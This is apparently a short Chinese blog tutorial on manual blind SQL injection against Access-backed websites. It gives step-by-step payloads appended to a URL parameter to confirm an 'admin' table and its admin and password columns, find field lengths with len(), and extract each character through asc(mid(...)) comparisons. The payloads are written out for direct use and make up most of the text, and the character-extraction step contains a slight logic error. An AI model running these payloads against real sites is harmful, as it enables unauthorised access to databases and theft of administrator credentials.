-
找到目标站点http://xxx.xxxx.xx/xxx.xxx?ID=XX,测试是否存在注入点
-
猜解表名,在链接末尾加语句 and exists(select *from admin) 页面若显示正常,说明存在表名admin。
-
猜解列名 在链接末尾加语句 and exists(select admin from admin) 若页面显示正常,则admin表中存在admin列
-
继续猜解password等其他列 and exists(select password from admin)
-
猜解字段内容
(1)、猜测字段长度,加语句 and (select top 1 len (admin) from admin)>1,若页面显示正常,末尾数字增加,假若增加至 and (select top 1 len (admin) from admin)>5时页面显示不正常,则说明字段长度为5
(2)、在链接末尾加and (select top 1 asc(mid(admin,1,1))from admin)>97时显示错误,则第一条记录的第一位字符的ascll码为97,对应a
(3)、用以上同样的方法得到admin的字段内容 和password字段的内容
简单SQL注入-手工注入access数据库
最新推荐文章于 2024-12-11 23:43:40 发布